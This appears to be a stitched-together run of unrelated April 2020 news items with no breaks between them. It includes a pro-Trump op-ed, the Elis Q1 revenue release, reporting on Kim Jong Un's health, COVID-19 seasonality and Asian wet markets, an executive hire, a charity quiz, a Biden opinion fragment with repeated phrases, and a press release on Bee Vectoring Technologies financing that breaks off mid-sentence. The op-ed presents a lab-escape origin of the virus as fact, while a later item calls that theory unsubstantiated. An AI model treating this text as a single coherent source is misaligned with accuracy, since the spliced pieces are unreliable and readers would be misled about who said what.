President Trump, we now have the United States Mexico Canada Agreement, ( USMCA), which is much better for America and American workers. And finally, President Trump was able to negotiate an America First trade deal with Communist China. Done. China had been taking advantage of the United States for years during previous administrations who seemed more interested in helping China than protecting the United States. These are the facts, and not even the divisive Democrats can deny the skill that President Trump showed in making our economy the best in the world. But now, because China reportedly failed to admit that a virus that they were studying in a bio-lab had escaped into the population in Wuhan China, President Trumps economic miracle was wiped out in a matter of weeks. The new virus spread quickly to Europe, then into the US. We are finding out that the virus could have been contained if the Chinese Communist Government had acted openly and transparently. But fortunately, President Trump acted quickly and stopped travel to the United States from China and then Europe, and immediately assembled a corona virus task force. Led by Vice President Mike Pence, it includes respected Drs. Anthony Fauci, Director of the NIAID (National Institute of Allergy and Infectious Diseases) and Dr. Debra Birx, who is both a physician and diplomat who specializes in vaccine research and is the coordinator of President Trumps Task Force. President Trumps decisions since have been based on the advice of these doctors, as well as the U.S. Surgeon General and the Director of the Centers for Disease Control (CDC). After instituting national guidelines to slow the spread of the virus and prevent our medical facilities from being overwhelmed, the President has now turned his attention to allowing our country to begin the process of re-opening gradually in a 3 phase process that is entirely based on the medical science and data. President Trumps gut instincts do influence his decisions, but this plan is based on advice from his team of the best medical science professionals in our country. To save our countrys economy from ruin, we need to begin to re-open segments of our economy, like the automotive industry, as soon as safely possible. Amazingly, some like San Franciscos Nancy Pelosi and Michigans Democrat Governor Gretchen Whitmer are criticizing and resisting this deliberate, 3 phase plan. But blue-collar workers like those of us in Macomb County know that we cannot allow power-hungry Democrats to destroy the companies we work for. We want to return to work as soon as it is safely possible, and President Trumps road map for a data-driven, phased-in plan to put America back to work is pure genius. Brian Pannebecker of Harrison Township is a spokesperson for Auto Workers for Trump 2020 Q1 revenue impacted by the sanitary crisis Marked drop in activity in Hospitality, more restrained decrease in other end markets Q1 revenue down -2.3%, with -1.8% on an organic basis Very material impact of the various confinement measures on March revenue (-12.4% organically), after a good start of the year (+4.6% and +3.0% on an organic basis in January and February respectively) Hospitality is the most impacted business, with a significant impact in France (-4.1%), Southern Europe (-5.8%) and in the UK & Ireland (-6.7%) on an organic basis in the quarter Industry, Trade & Services and Healthcare show more resilience and the regions mostly serving these clients are stable or up in the quarter (+0.6% in Central Europe, -0.3% in Scandinavia & Eastern Europe and +6.4% in Latin America on an organic basis) Swift implementation of a series of operational actions to face the exceptional situation Temporary shutdown or near-total stoppage of c. 100 plants in order to optimize capacity and control costs Workforce adjustment at central level and in all the Groups plants that are impacted by a decrease in activity Launch of many commercial initiatives to address new client needs Review of the 2020 industrial capex plan, with the cancellation of all projects to increase capacity Decrease in the remuneration of Management Board members, Executive committee members and country management committee members in all Group countries Active cash management and improvement of financial flexibility Positive free cash flow in March and in the first three weeks of April, despite the numerous lockdown measures enforced across Europe Waiver obtained for the bank covenant test as of 30 June 2020 Cancellation of the dividend for 2019 and temporary suspension of M&A 1.1 billion euros of liquidity available and no major debt maturity before 2023 Sharper decrease in activity expected in Q2 compared to Q1 c. 40% organic revenue evolution expected in April, marking a low point: Hospitality business virtually stopped, c. -20% in Industry, c. -30% in Trade & Services and c. -15% in Healthcare For each euro of lost revenue, EBITDA should decrease by c. 50 cents; c. 20 cents should be saved on investments and c. 10 cents on tax Story continues Saint-Cloud, April 28, 2020 Elis, an international multiservice provider, offering textile, hygiene and facility services solutions in Europe and Latin America, today announces its revenue for the 3 months ended March 31, 2020. Commenting on the announcement, Xavier Martire, CEO of Elis, said: The Covid-19 epidemic triggered an unprecedented global crisis, with more than half of worlds population currently subject to lockdown. In this context, Elis revenue decreased on an organic basis by 1.8% in Q1, of which -12% in March, reflecting the gradual implementation of confinement measures in most countries in which we operate. This decrease, although significant, must be seen in the exceptional current context. If our Hospitality activity is now almost stopped, it is important to highlight the resilience of many of our clients in Industry, in Trade & Services and in Healthcare segments. Moreover, the Groups diversified geographical footprint, resulting from the M&A strategy carried out for many years, enables us to be present in regions where activity has held up well, such as Latin America, or in most of the countries of the former Berendsen scope, notably in Scandinavian countries and Germany. As indicated in March, Elis has rapidly adjusted its business to the exceptional crisis: As soon as the first confinement measures were taken in Europe, the Group adjusted its operational and managerial structures in order to preserve its margins as early as possible. As of today, we temporarily closed approximately one hundred sites. Other measures have also been taken to improve the Groups liquidity. Elis obtained, at its request, a waiver regarding its bank covenant test as of 30 June 2020 in order to benefit from greater financial flexibility to face this sensitive period more comfortably; similar discussions will take place in the near future to obtain another waiver for the 31 December 2020 test. The Group has no major debt maturity before 2023 and has, as of today, more than 1.1bn of liquidity in the form of two revolving lines of credit for an undrawn amount of 800mn and c. 300mn in cash. At this stage, it is still too early to provide a new 2020 outlook. Our April activity will follow the same trend as observed in the second half of March, with decrease in revenue of c. -40% on an organic basis. However, in the past few days, we have noted a slight rebound of activity in the countries where confinement measures were softened or lifted such as Denmark, Italy and Poland, where we observe initial signs of recovery for some of our clients. Although the current situation requires the utmost vigilance, we face the next months with serenity: The Groups fundamentals are strong, our diversification is a major advantage and our business model will enable Elis to benefit immediately from the recovery of its clients. The Group will also be in a position to seize commercial opportunities that will arise to meet the needs of our clients in a post-Covid-19 world. Elis is particularly proud to count as clients in many countries, several public health organizations, such as the NHS in the UK or AP-HP in France, therefore contributing, thanks to the quality of our services, to the global effort to contain the epidemic. I wish to warmly thank all the employees of the Group who continue to work with passion and commitment, allowing us to keep providing outstanding quality of service to our clients in our 28 countries. Q1 2020 revenue (in millions of euros) 2020 2019 Organic growth External growth FX Reported growth France 236.9 246.9 -4.1% - - -4.1% Central Europe 180.1 177.3 +0.6% +0.3% +0.7% +1.6% Scandinavia & Eastern Eur. 127.0 124.9 -0.3% +3.9% -1.9% +1.7% United Kingdom & Ireland 88.9 94.3 -6.7% - +1.0% -5.7% Southern Europe 60.5 64.3 -5.8% - - -5.8% Latin America 58.8 63.4 +6.4% - -13.6% -7.2% Others 6.9 5.7 +21.8% - +0.8% +22.6% Total 759.2 776.7 -1.8% +0.7% -1.1% -2.3% Percentage change calculations are based on actual figures Others includes Manufacturing Entities and Holdings Q1 2020 monthly organic revenue growth January February March France +5.8% +3.5% -20.5% Central Europe +3.7% +2.3% -4.1% Scandinavia & Eastern Eur. +3.3% +0.2% -4.5% United Kingdom & Ireland -1.7% +0.5% -17.6% Southern Europe +9.0% +5.6% -29.1% Latin America +9.5% +9.2% +0.7% Others +14.6% +5.7% +38.4% Total +4.6% +3.0% -12.4% Percentage change calculations are based on actual figures Others includes Manufacturing Entities and Holdings France Q1 2020 organic revenue growth was down -4.1%. After a very good start to the year (+5.8% organic growth in January and +3.5% in February), our activity strongly suffered from the Covid-19 sanitary crisis and from the confinement measures taken in March. Hospitality, a segment that represented approximately one-third of the countrys revenue in 2019, was almost stopped since mid-March. Industry, Trade & Services posted a more moderate decrease. Healthcare was flat in Q1: The good commercial dynamism was offset by a drop in patients in hospitals to make room for Covid-19 patients, implying lower linen rotation. Central Europe Q1 2020 organic revenue growth was slightly up by +0.6%. The beginning of the year was good, and the high exposure of this geography to the Healthcare segment, as well as the relatively resilient industrial activities, contained the decrease observed following the implementation of confinement measures of varying degree from one country to another. The Netherlands and Poland were strongly up in Q1, including in March. Germany was slightly up in Q1, with a moderate -3% decrease in March. Switzerland and Belgium, countries with a greater exposure to Hospitality posted a higher contraction. Scandinavia & Eastern Europe Q1 2020 organic revenue growth was slightly down by -0.3%. The fact that the greater portion of our clients operate in the Industry segment enabled to somewhat limit the decrease in March at -4.5%. Sweden, the largest contributor, posted only a -2% decrease in March and remained stable over the quarter. Denmark registered a larger contraction in March but contained the decrease at -4% over the quarter. Norway and the Baltic countries recorded solid organic growth in Q1, including in March. United Kingdom & Ireland Q1 2020 organic revenue growth was down -6.7%. After a slight increase in February, the situation deteriorated in March with a -18% decrease in revenue. Approximately one-third of revenue is in Hospitality, a segment that has virtually stopped since the implementation of confinement measures in the second half of March. Industry and Trade & Services represent another third of total revenue and also decreased strongly. The Healthcare segment, accounting for the remaining third, was flat in Q1, with a negative effect in March for the same reasons as in France (non-urgent medical care was postponed to make more room for Covid-19 patients). Southern Europe Q1 2020 organic revenue decreased by -5.8% with a marked slowdown in March (-29%). The geography is highly exposed to the Hospitality segment (more than 60% of total revenue in 2019) and suffered from the near-total interruption of hotel activity (administrative closure of hotels in Spain). Latin America Q1 2020 organic revenue was up +6.4% with the first two months at more than 9% growth. In March, growth was close to +1%: Brazil and Colombia were prepared to face the epidemic and we observed at the end of March in the Healthcare segment the same situation as in France and the UK: Non-urgent medical care was postponed to make room for Covid-19 patients, implying lower activity in hospitals. Operational actions As indicated in March, Elis implemented drastic measures in order to preserve its margins and cash generation in this exceptional environment: As of today, c. 100 plants have been temporarily shut down or are virtually stopped, especially in France, Spain and the UK, most of the time by transferring volumes between plants of the same region, in order to optimize capacity and control costs; The workforce is adjusted centrally and in all the plants that are impacted by a decrease in our clients activity; The 2020 industrial capex plan is under review, with the cancellation of all projects aimed at increasing capacity. Furthermore, we anticipate a very significant decrease in linen capex for the year. Thanks to the swift implementation of all these measures, Group free cash flow was positive in March and in the first three weeks of April. Debt and liquidity In order to absorb the fallout from the crisis with greater comfort, the Group has obtained, at its request, a waiver regarding its bank covenant test as of 30 June 2020. This bank covenant concerns (i) the two revolving lines of credit underwritten by a pool of French and European relationship banks and (ii) the USPP-type private placement underwritten by a pool of American investors led by Barings. Elis was dispensed from paying fees for this waiver, underscoring the excellent relationship between the Group and its lenders. On March 24, the Group has drawn a total of 200mn, i.e. 100mn on each of the two revolving credit lines; On April 15, the Group placed 125mn of Commercial paper at 0.58%, maturity April 2021; On April 24, the Group reimbursed 100mn out of the 200mn previously drawn (50mn reimbursed from each of the two revolving credit lines). Consequently, 100mn remain drawn and available in cash. Hence, Elis today has c. 1.1bn liquidity at its disposal, in the form of (i) two revolving lines of credit for an undrawn amount of 800mn and (ii) c. 300mn in cash. Furthermore, the Group has no major debt maturity before 2023. Additionally, in order to further strengthen the Groups liquidity, and as announced on March 31, the Management Board has decided: After approval by the Supervisory Board, to withdraw the proposed payment of 0.39 per share for 2019 from the resolutions to be adopted by the next shareholders meeting; The suspension, until further notice, of any M&A activity. Only the transactions for which a signing has been announced or which are in their final stage will be completed. Management compensation Out of solidarity with Elis employees, Xavier Martire, Chairman of the Board, as well as other Management Board members, Executive committee members and country management committee members in all Group countries, i.e. approximately 200 people in total, have consented to a decrease of their remuneration. Since April 1st, the monthly fixed compensation of Xavier Martire has been temporarily reduced by 25%, while that of the other Board members and Executive Committee members is reduced by 10%. Outlook Given current uncertainties, the Group is unable to provide a new 2020 outlook at this stage. However: Elis expects a sharper decrease in activity in Q2 compared to Q1; April should constitute a low point, with the full effect of the confinement measures implemented in Europe over the second half of March; April organic revenue evolution is expected to be c. -40%, with the Hospitality business virtually stopped, c. -20% in Industry, c. -30% in Trade & Services and c. -15% in Healthcare; For each euro of lost revenue, EBITDA would decrease by about 50 cents; furthermore, 20 cents would be saved on investments and 10 cents on tax. Shareholder meeting The annual shareholder meeting will be held at the Groups headquarters on June 30, 2020 and will be webcasted. Log-in information will be provided at a later stage. Presentation of Elis Q1 2020 revenue (in English) Date: Tuesday 28 April 2020 at 5:00pm GMT (6:00pm CET) Webcast link: https://edge.media-server.com/mmc/p/cow34keh Conference call dial in numbers United Kingdom: +44(0)2071928338 United States: +16467413167 France: +33(0)170700781 Confirmation code: 3747238 Investor presentation An investor presentation is available at this address: https://fr.elis.com/en/group/investors-relations/regulated-information Geographical breakdown France Central Europe: Germany, Netherlands, Switzerland, Poland, Belgium, Austria, Czech Republic, Hungary, Slovakia, Luxembourg Scandinavia & Eastern Europe: Sweden, Denmark, Norway, Finland, Latvia, Estonia, Lithuania, Russia UK & Ireland Southern Europe: Spain & Andorra, Portugal, Italy Latin America: Brazil, Chile, Colombia Forward looking statements This document may contain information related to the Groups outlook. Such outlook is based on data, assumptions and estimates that the Group regarded as reasonable at the date of this press release. Those data and assumptions may change or be adjusted as a result of uncertainties relating particularly to the economic, financial, competitive, regulatory or tax environment or as a result of other factors of which the Group was not aware on the date of this press release. Moreover, the materialization of certain risks described in chapter 2 Risk factors & risk control, insurance policy, and vigilance plan of the Registration Document may have an impact on the Groups activities, financial position, results or outlook and therefore lead to a difference between the actual figures and those given or implied by the outlook presented in this document. Reaching the outlook also implies success of the Groups strategy. As a result, the Group makes no representation and gives no warranty regarding the attainment of any outlook set out above. Next information H1 2020 results: July 29, 2020 (after market) Contacts Nicolas Buron Investor Relations Director - Phone: +33 1 75 49 98 30 - nicolas.buron@elis.com Audrey Bourgeois Investor Relations - Phone: + 33 1 75 49 96 25 - audrey.bourgeois@elis.com Attachment Kim Jong Un North Korean leader Kim Jong Uns prolonged public absence has led to rumors of ill health and worries about how it could influence the future of what one analyst calls Northeast Asias Achilles heel, a reference to the Norths belligerence and unpredictable nature. But theres a basic question debated by the media and government intelligence services: Are the rumors even true? The exact state of Kims health matters because it could determine the stability of the dynastic government in Pyongyang and the security of nuclear weapons that the nation has repeatedly threatened to use on its neighbors and the United States. Its a problem that outside nations have faced for decades. Gathering intelligence on perhaps the worlds most secretive, suspicious and difficult-to-read country is incredibly difficult. And theres probably nothing North Korea guards more closely than information on Kims health, which is only likely shared among a small portion of the elite, including his powerful sister, Kim Yo Jong. At the heart of the intelligence shortcomings about North Korea is its extremely closed nature. But there is also plenty of blame leveled in South Korea at efforts there. Supporters of South Koreas liberal government, which remains eager for inter-Korean engagement, lament the previous decade of conservative rule, when exchanges between diplomats, government and business leaders, aid groups and others stopped under hard-line policies toward North Koreas nuclear ambitions. This, they say, deprived spies of high-quality information sources. Conservatives, meanwhile, blame liberals for supposedly downsizing espionage operations while pursuing inter-Korean rapprochement. They say such networks have been difficult to rebuild. South Koreas government has repeatedly played down unconfirmed media reports that Kim is in fragile health following heart surgery, saying it has detected no unusual activity in North Korea or any emergency preparation by its ruling Workers Party, military and Cabinet. Without specifying its sources, South Koreas presidential office said it believes Kim is handling state affairs normally at an unspecified site outside the capital, Pyongyang. U.S. President Donald Trump told reporters Monday that he has a very good idea about Kims health but couldnt talk about it and wished him well. I do know how hes doing, relatively speaking, Trump said at the White House. Youll probably be hearing in the not-too-distant future. Some experts say South Korea, as well as its regional neighbors and ally Washington, must begin preparing for high-level instability that could come if Kim is sidelined by health problems or even dies. That could include North Korean refugees flooding South Korea or China or military hard-liners letting loose nuclear weapons. Planning for those are worst-case scenarios is crucial because nobody knows for sure whats happening, said Nam Sung-wook, a North Korea expert at Seouls Korea University who termed the situation the Achilles heel of international politics in Northeast Asia. He could very well be OK and reappear in North Korean state media again, but considering his weight and worsening shape, the risks linked to his health will sharply increase as he gets older, said Nam, a former director of a think tank affiliated with South Koreas main spy agency. Kim is overweight, reportedly smokes heavily and has other health problems. Questions about Kims health have been raised since he missed the birthday celebration of his late grandfather and state founder Kim Il Sung on April 15, the countrys most important holiday. Kim, who is in his mid-30s, was last seen in public on April 11, when he presided over a meeting discussing coronavirus prevention and electing his sister as an alternate member of the political bureau of the ruling Workers Party. State media have since reported that he sent greetings to Syrian President Bashar Assad, Cuban President Miguel Diaz-Canel and South African President Cyril Ramaphosa. On Monday, the official Rodong Sinmun newspaper said Kim sent a message of gratitude to workers building tourist facilities in the coastal town of Wonsan, which is where some speculate he is staying. No photos of him were published. South Korean intelligence and North Korean state media reports suggest that Kim could have suffered some sort of medical setback but likely not a life-threatening one, said Du Hyeogn Cha, a senior researcher at Seouls Asan Institute for Policy Studies. The root problem may be the shaky nature of South Korean intelligence. Even after decades of work, South Korea has yet to build a reliable intelligence network to gather information on the North, said Cha, an ex-intelligence secretary to former South Korean President Lee Myung-bak. Its clear our government has some level of information on the North, but not enough to make a confident statement about where he is and whether hes fully healthy. Finding out is important because incapacity at the top could lead to bogged-down decision-making that could boost the hard-liners who emerged following the collapse of Kims second summit with Trump in February last year. The Americans at that summit rejected North Korean demands for major sanctions relief in exchange for a partial surrender of the Norths nuclear capabilities. The National Intelligence Service, Seouls spy agency, has said it cant confirm whether Kim had surgery. If Kim emerges well in state media, he would join past North Korean officials who were incorrectly reported incapacitated by outside media. Kim Il Sung shot dead remains perhaps the most famous newspaper headline in South Korean history. The 1986 Chosun Ilbo story was initially backed by a South Korean military statement that North Korea had announced the demise of its founder over loudspeakers at the mine-strewn border between the rival nations. But hours later, Kim Il Sung appeared at Pyongyangs airport to greet a Mongolian delegation. Another big problem is that for decades South Korea didnt have a strong grip on the location and health of North Koreas top leadership, according to Cheon Seong Whun, a presidential secretary during the Souths previous conservative government. Anybody who says they know something for certain is just writing a novel, Cheon said. LOS ANGELESM.D. Science Labs announced the hiring of Cheryl Flangel as new Sales Executive, North America, effective immediately. Ralph Albrecht, president of M.D. Science Lab remarked, We are pleased to add another highly respected veteran to our sales team. Cheryl is a perfect fit for our team and will be a big part of our future growth. We are very happy to have her join our M.D. family. Flangel a respected industry veteran who brings 30-plus years of industry customer service and sales experience to M.D. Science Labs. In her new role she will work directly with Briana Honz Watkins, vice president of sales for North America. They previously worked together at Pipedream Products. Honz-Watkins said, I couldnt be more excited for Cheryl to be part of our incredible team. Shes loved by everyone and will be a great asset to our team. I have worked beside her for many years and so happy to be reunited. We have a team thats perfectly aligned for what we have in the works. To be surrounded by amazing people doing what you love, is truly incredible. Welcome Cheryl! As the new Sales Executive, North America, Flangel will use her "warm, bubbly personality and impeccable presentation skills" to establish and expand strong partnerships with new and existing customers, M.D. Science Labs said. Her role will add to M.D. Science Labs bigger picture plan to continue expanding the presence of its brand across North America and globally. For those that know me, they know I dont switch companies very easily, so this was a very difficult decision. But sometimes in life, when you least expect it....an amazing opportunity comes along that you just need to grab! Flangel said. She continued, To have the chance to work for an incredible company such as Swiss Navy, to be back working alongside my best buddy Briana, and my pal Ellen, and for such a wonderful owner, Ralph... I just couldnt be more excited! Im so looking forward to this new chapter in my life and to being part of all the big plans we have in place! BEIJING, April 27 (Xinhua) -- Many respiratory viruses run rampant in colder months and wane in summer, including influenza and SARS. But will the spread of COVID-19 follow a similar seasonal pattern? Experts have not found enough scientific evidence that heat and humidity will slow down the virus. "The COVID-19 virus can be transmitted in all areas, including areas with hot and humid weather," the World Health Organization pointed out in a recent report, indicating that high temperatures have not managed to curb the virus' spread. As Tom Kotsimbos, associate professor at Australia's Monash University and respiratory physician at the Alfred Hospital in Melbourne, told the Guardian, as this is a new virus, it "does not mean it will be like the others." "It's interesting that (COVID-19) has spread all over the world quite quickly -- both north and south," he said, adding that the phenomenon suggests either the transmission of the new virus does not rely on temperature or that dependency is not important for its spread. Though researchers are trying to dig out the relationship between the spread of COVID-19 and temperature, some have already drawn contradictory conclusions. According to an article published April 2 on the medical journal The Lancet, researchers from the Public Health School of Hong Kong University found an inverse correlation between the temperature and the stability of the virus. The virus is highly stable at 4 degrees Celsius and could be incubated for up to 14 days; with the incubation temperature increased to 70 degrees Celsius, the time for virus inactivation was reduced to 5 minutes, the researchers said. By contrast, an article published April 8 on the European Respiratory journal said that researchers from China's Fudan University had found little association of COVID-19 transmission with temperature or UV radiation in Chinese cities. By analyzing the cumulative number of cases in 224 cities with no fewer than 10 cases as of March 9, the basic reproduction number for 62 cities with over 50 cases as of Feb. 10, and meteorological data such as temperature, humidity, and UV radiation, the scientists concluded that "ambient temperature has no significant impact on the transmission ability of SARS-CoV-2." "This is quite similar with MERS epidemic in the Arabian Peninsula where MERS cases continue when temperature are 45 degrees Celsius," they said. Zhu Yifang, associate professor of environmental health sciences at the University of California, Los Angeles, told Xinhua that as related data in the studies are limited, it is uncertain whether the results can be globally verified. Meanwhile, the possibility cannot be ruled out that the coming hot spells in the Northern Hemisphere might reduce the virus, Zhu said, adding that it also remains unknown whether the pandemic will stage a comeback during winter, becoming seasonal. Two well-known charities are teaming up this Wednesday to host a live online fundraising quiz. Midlands residents are invited to take part and test their knowledge of the local area, have some fun and support two great causes. The Simply the Best Midlands Quiz will be broadcast live on Self Help Africas Facebook page from 8pm this Wednesday, April 29, and will support the overseas aid organisation, as well as Dochas Offaly Cancer Support. Tickets are just 5 and proceeds will be split equally between the two charities. Self Help Africas Ronan Scully said During this time of lockdown, Self Help Africa wanted to find a way to support both our work internationally, and also give back to the local community here in the Midlands, through teaming up with Dochas Offaly Cancer Support. Together, we hope to make a difference for good in the lives of people most in need in our communities. By taking part in the Midlands Quiz, you will be making a positive impact both here at home in Ireland, and further afield in Africa supporting Self Help Africa to assist some of the worlds poorest communities through the devastating coronavirus, and beyond. Dermot Murphy, of Dochas Offaly Cancer Support commented: While our drop-in centre is currently closed to keep everyone safe, we continue to offer phone support and virtual counselling to all those who need it, especially during these difficult times. We rely on public donations and fundraising events such as the Midlands Quiz, to allow us to provide our services. Now, more than ever, the publics support is needed. To get your tickets to the quiz, please visit: www.selfhelpafrica.org/ie/midlands-quiz/ Tune in to Self Help Africas Facebook page at 8pm Wednesday for the live broadcast. COVID-19 has killed over 211,000 people and infected more than three million Wet markets selling bats, monkeys and other exotic animals are still operating on Australia's doorstep despite the same operations likely causing the worst pandemic in more than a century. Animal markets, which remain popular across much of Asia, have been in the spotlight since January when Chinese officials said COVID-19 most likely jumped from animals to humans at the Huanan market in Wuhan. It is believed the virus originated in horseshoe bats and was transmitted to humans, despite unsubstantiated theories it was accidentally released from a Wuhan lab. The virus has since killed more than 211,000 people worldwide and infected more than three million. In response the global pandemic, China temporarily banned the selling of all wildlife - but wet markets selling live fish and poultry have re-opened. In Indonesia, one of Australia's closest neighbours with a population of 267million people, appears even less concerned with the risks associated with wet markets. A vendor preparing python meat for his customers in Tomohon market in northern Sulawesi, Indonesia A man buys meat at Khlong Toei wet market despite fears of the spread of the COVID-19 coronavirus in Bangkok on April 14 Scientists say wet markets are 'time bombs' for pandemics because holding a range of species in one place makes it easier for viruses to transfer from one to the other. Australian Chief Veterinary Officer Mark Schipp said six large-scale diseases since 1980, including IDS, SARS, swine flu, MERS, Ebola and COVID-19, came from wild animals. 'When you bring wildlife into a market like that, they're stressed and are going to shed more virus in bodily fluids; faeces, blood, urine,' he told The Australian. 'Typically they wash down once or even more a day, which aerosolises the virus and creates the opportunity for it to spread between species.' Despite the warnings, Indonesian health authorities said they would not forcing wet markets to shut down. A vendor selling bats at the Tomohon Extreme Meat market on Sulawesi island, Indonesia The nation's COVID-19 taskforce spokesman Achmad Yurianto said on Tuesday the decision to close the 'extreme' markets should come from local authorities, rather than the government's health directors. While Siti Nadia Tarmizi, the Health Ministry's zoonotic disease director, admitted the markets should be closed, he explained the ministry's focus was on eliminating human-to-human transmission of COVID-19. The Tomohon wet markets in North Sulawesi, Indonesia, have been teaming with shoppers eager to buy meat despite the pandemic. The Australian reported that rows of dead bats could be seen on bloodied butchers tables next to scorched pig heads and dog carcasses just this weekend. One vendor who admitted struggling to make ends meet since the rise of the pandemic explained he had no choice but to continue selling 'extreme meat'. Khlong Toei fresh market in Bangkok, Thailand. Some markets around Asia are still operating despite COVID-19 Dogs are traded in traditional markets in Tomohon, Indonesia. The market is still operational, despite the global pandemic 'We are concerned about health but we must continue to show up for work. What else can we do except sell meat as usual?' he said. Live bats were hung in cages at the Jatinegara markets in nation's capital of Jakarta, along with monkeys, civets and snakes. The World Health Organisation supported the re-opening of China's wet markets, as long as wildlife trading was banned, noting that millions of people depend on the markets for food and income. 'WHO's position is that when these markets are allowed to reopen it should only be on the condition that they conform to stringent food safety and hygiene standards,' WHO director Tedros Adhanom said on April 17. A vendor slicing up a large snake at the Tomohon Extreme Meat market on Sulawesi island A salesman offering grilled rats to customers in Tomohon market in northern Sulawesi 'Governments must rigorously enforce bans on the sale and trade of wildlife for food.' Despite the statements by WHO, Australian government and the US administration called for wet markets around the world to be closed permanently to protect public health. Prime Minister Scott Morrison described the WHO's support for re-opening as 'unfathomable'. But experts told Daily Mail Australia that getting the markets banned would be extremely difficult because China is opposed to the idea and determined to uphold its sovereignty. 'There is zero chance that what we say has any impact,' said Jane Goolley, Professor at the ANU College of Asia and the Pacific. A man wearing a mask walks through a wet market in Guangzhou, Guangdong province on 20 April 'We will only infuriate Chinese government because they so strongly object to foreign interference.' President Xi Jinping frequently references sovereignty - a state's right to govern its own territory - when defending China's maritime claims in the East and South China Seas, or its internment of Muslims in 're-education' camps in western China. He described sovereignty as the 'most important feature of any independent state' and is strongly opposed to foreign involvement in Chinese affairs. For that reason, former Australian ambassador to China Geoff Raby said a ban could be possible but only if all the world's nations agreed. 'All countries - the US, Australia, as well as China - are concerned to protect and defend sovereignty. Scott Morrison has 'zero chance' of getting wet markets banned, a leading academic has said. Pictured: A bat in a wet market in Indonesia 'So the only way something like this can be achieved is through international consensus,' he said. Chinese media says wet markets are being reopened to alleviate the economic difficulties of shopkeepers. Markets similar to the farmers' markets in the West, exist across China, including in major cities like Shanghai, Beijing and Guangzhou. Only a minority of markets sell live wild animals. When they do, the animals are mostly live chickens, ducks and other forms of poultry. China'a wildlife farming industry is worth $18billion and supports 6.3million people, many of whom have been left with no income after the ban. It comes as the Chinese and Australian governments trade blows over Mr Morrison's push for an inquiry in the origins of coronavirus. The dispute peaked on Sunday when the Chinese Ambassador in Canberra suggested Chinese consumers would boycott Australian goods such as beef and wine. There are plenty of good answers to this question. Some speak to the basic political reality of national crises and some to Mr. Bidens particular quirks. Opinion Debate Will the Democrats face a midterm wipeout? Mark Penn and Andrew Stein write that "only a broader course correction to the center will give Democrats a fighting chance in 2022" and beyond. write that "only a broader course correction to the center will give Democrats a fighting chance in 2022" and beyond. Matthew Continetti writes that time and again, the biggest obstacle to a red wave hasnt been the Democratic Party. Its been the Republican Party. writes that time and again, the biggest obstacle to a red wave hasnt been the Democratic Party. Its been the Republican Party. Ezra Klein speaks to David Shor, who discusses his fear that Democrats face electoral catastrophe unless they shift their messaging. speaks to David Shor, who discusses his fear that Democrats face electoral catastrophe unless they shift their messaging. Michelle Cottle examines two primary contests that will shake the parties well beyond the states in play. First, the basics: In times of upheaval be it a war, terrorist attack, hurricane or pandemic the commander in chief commands center stage. No matter how ill equipped a president may be, he is the nations daddy figure, and anxious Americans look to him for guidance and action. Political challengers must tread carefully. They can offer alternative visions, but they cannot come across as second-guessing the presidents every move from the safety of their rec rooms. If an opponent hits too hard too often, he risks looking as though hes playing politics while Americans are dying. Mr. Biden is in an even more delicate spot than some of his former primary rivals. He is not a governor, a member of Congress, a mayor or even a school superintendent. He has a platform but no authority. What he can essentially do is criticize and opine about how things should be done how he would do things if only. Team Biden is in fact doing a lot of this, through statements, surrogates, social media and other avenues. Before Mr. Trumps briefings, the Biden campaign sends out Key Questions for Donald Trump to reporters, focused on the topics du jour: why the head of the agency tasked with finding a coronavirus vaccine was removed; what is being done to address a potential shortage of coronavirus tests; why publicly traded companies are receiving relief funding earmarked for small businesses. Post-briefing, the team sends out Mr. Bidens response. Mississauga, Ontario and Sacramento, California--(Newsfile Corp. - April 28, 2020) - Bee Vectoring Technologies International Inc. (TSXV: BEE) (OTCQB: BEVVF) (CVE: BEE) (the "Company" or "BVT") is pleased to announce that it has entered into a definitive agreement (the "Agreement") with Alumina Partners (Ontario) Ltd. ("Alumina") that secures a commitment of up to $6,000,000 CDN (Six Million Dollars) in an at-will financing facility (the "Facility"). The Agreement enables BVT to continue its growth strategy to bring its groundbreaking, natural precision agricultural technology to market while maintaining complete financial flexibility and freedom. The financing is at the sole discretion of BVT, which provides the Company with the ability to access funds when necessary. There are no transaction fees associated with the Facility, no minimum amounts that must be drawn down and no penalties in the event that BVT elects not to draw upon the Facility. "This is a strong endorsement from Alumina Partners, a leading New York-based private equity firm. Their investment will provide the Company with the financial capability to ensure BVT can execute on its business plan," said Ashish Malik, CEO of the Company. "This flexible arrangement will give us control over the timing and the amount of capital needed to continue the execution and expansion of BVT's growth strategy." "Alumina looks forward to helping BVT accelerate their plans to progress deployment and further development of their natural precision agriculture system," added Adi Nahmani, Managing Member of Alumina Partners. "We have been very impressed by the elegance of the company's strategy. Using bees to deliver targeted micro-doses of natural pest and disease control agents can potentially change the face of modern agriculture." Michael Collinson, Chairman of the Company added, "The Company made major accomplishments in 2019: we transitioned from being an R&D company to a commercial enterprise with EPA approval and increasing sales from growers in multiple crops. We have been able to secure a significant financing arrangement, even in these uncertain times of the COVID-19 pandemic. That speaks volumes for the strength of BVT's fundamentals, including its vast global market opportunity, the ability of its experienced management team to execute the business plan, an extensive worldwide patent portfolio and strong agriculture industry relationships with both partners and growers. It's an exciting time to be a part of the BVT community." Pursuant to the terms of the Agreement, the Company has the right to draw down from the Facility for a period of thirty-six months in equity private placement tranches of up to $500,000 (each a "Tranche"). Each Tranche will be at the sole discretion of the Company and can occur at any time upon the Company giving notice to Alumina. Each Tranche will be comprised of units ("Units"), with each Unit consisting of one common share (each a "Share") and one common share purchase warrant (each a "Warrant"). Each Unit shall be priced at a discount of between 15-25% from the closing price of the Shares on the day prior to BVT's draw down notice to Alumina. Each Warrant will be exercisable for a period of twenty four (24) months from the closing date at an exercise price that is a 25% premium to the market price of the Shares. The Warrants will also contain an accelerated expiry provision, should BVT's Shares trade for a period of 10 consecutive trading days at a premium of at least 100% above the Warrant exercise price. Each draw down from the Facility will be subject to TSX-V approval. All securities issued will be subject to a statutory hold period that expires four (4) months and one (1) day from issuance. About Bee Vectoring Technologies International Inc. BVT, an agriculture technology company, is a market disruptor with a significant global market opportunity in the $240 billion crop protection and fertilizer market. BVT has pioneered a natural precision agriculture system that replaces chemical pesticides and wasteful plant protection product spray applications by delivering biological pesticide alternatives to crops using commercially grown bees. BVT's award-winning technology, precision vectoring, is completely harmless to bees and allows minute amounts of naturally-derived pesticides (called biologicals) to be delivered directly to blooms, providing improved crop protection and yield results than traditional chemical pesticides - and improving the health of the soil, the microbiome and the environment. Currently, BVT has over 65 granted patents, over 35 patents pending in all major agricultural countries worldwide, and has US EPA registration of its VECTORITE with CR-7 (EPA Registration No. 90641-2) for sale as a registered 